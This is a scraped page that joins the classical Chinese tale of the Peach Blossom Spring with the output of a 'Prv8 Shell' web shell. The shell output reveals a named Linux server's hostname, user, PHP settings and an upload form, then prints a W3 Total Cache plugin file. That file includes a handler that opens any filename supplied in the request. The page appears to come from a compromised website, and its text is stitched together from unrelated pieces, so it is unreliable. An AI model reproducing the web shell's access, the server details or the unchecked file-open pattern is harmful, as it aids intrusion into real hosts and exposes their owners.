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　晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 . Prv8 Shell

Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory : /home/stando/www/wp-content/plugins/w3-total-cache/

Upload File :

Current File : /home/stando/www/wp-content/plugins/w3-total-cache/UsageStatistics_Plugin_Admin.php

<?php
namespace W3TC;



class UsageStatistics_Plugin_Admin {
	function run() {
		$c = Dispatcher::config();

		add_filter( 'w3tc_admin_menu', array( $this, 'w3tc_admin_menu' ) );
		add_action( 'w3tc_ajax_ustats_get', array( $this, 'w3tc_ajax_ustats_get' ) );
		add_action( 'w3tc_ajax_ustats_access_log_test',
			array( $this, 'w3tc_ajax_ustats_access_log_test' ) );

		add_filter( 'w3tc_usage_statistics_summary_from_history', array(
				'W3TC\UsageStatistics_Sources',
				'w3tc_usage_statistics_summary_from_history'
			), 5, 2 );

		$widget = new UsageStatistics_Widget();
		$widget->init();

		add_action( 'admin_init_w3tc_dashboard', array(
				'\W3TC\UsageStatistics_Widget',
				'admin_init_w3tc_dashboard'
			) );

		add_action( 'admin_init_w3tc_general', array(
				'\W3TC\UsageStatistics_GeneralPage',
				'admin_init_w3tc_general'
			) );

		add_action( 'admin_print_scripts-performance_page_w3tc_stats', array(
				'\W3TC\UsageStatistics_Page',
				'admin_print_scripts_w3tc_stats'
			) );

		add_action( 'w3tc_config_ui_save', array(
				$this,
				'w3tc_config_ui_save'
			), 10, 2 );

		add_filter( 'w3tc_notes', array( $this, 'w3tc_notes' ) );
	}

#


	public function w3tc_config_ui_save( $config, $old_config ) {
		if ( $config->get( 'stats.slot_seconds' ) !=
				$old_config->get( 'stats.slot_seconds' ) ) {
			// flush all stats otherwise will be inconsistent
			$storage = new UsageStatistics_StorageWriter();
			$storage->reset();
		}
	}



	public function w3tc_notes( $notes ) {
		$c = Dispatcher::config();
		$state_master = Dispatcher::config_state_master();

		if ( $c->get_boolean( 'stats.enabled' ) &&
				!$state_master->get_boolean( 'common.hide_note_stats_enabled' ) ) {
			$notes['stats_enabled'] = sprintf(
				__( 'W3 Total Cache: Statistics collection is currently enabled. This consumes additional resources, and is not recommended to be run continuously. %s %s',
					'w3-total-cache' ),
				Util_Ui::button_link(
					__( 'Disable statistics', 'w3-total-cache' ),
					Util_Ui::url( array( 'w3tc_ustats_note_disable' => 'y' ) ),
					false, 'button',
					'w3tc_note_stats_disable' ),
				Util_Ui::button_hide_note2( array(
						'w3tc_default_config_state_master' => 'y',
						'key' => 'common.hide_note_stats_enabled',
						'value' => 'true' ) ) );
		}

		return $notes;
	}



	public function w3tc_admin_menu( $menu ) {
		$menu['w3tc_stats'] = array(
			'page_title' => __( 'Statistics', 'w3-total-cache' ),
			'menu_text' => __( 'Statistics', 'w3-total-cache' ),
			'visible_always' => false,
			'order' => 2250
		);

		return $menu;
	}



	public function w3tc_ajax_ustats_get() {
		$storage = new UsageStatistics_StorageReader();
		$summary = $storage->get_history_summary();

		if ( defined( 'W3TC_DEBUG' ) ) {
			echo json_encode( $summary ,JSON_PRETTY_PRINT );
			exit();
		}

		echo json_encode( $summary );
		exit();
	}



	public function w3tc_ajax_ustats_access_log_test() {
		$filename = $_REQUEST['filename'];

		$filename = str_replace( '://', '/', $filename );
		$h = @fopen( $filename, 'rb' );
		if ( !$h ) {
			echo 'Failed to open file ' . $filename;
		} else {
			echo 'Success';
		}
		exit();
	}
}

haha - 2025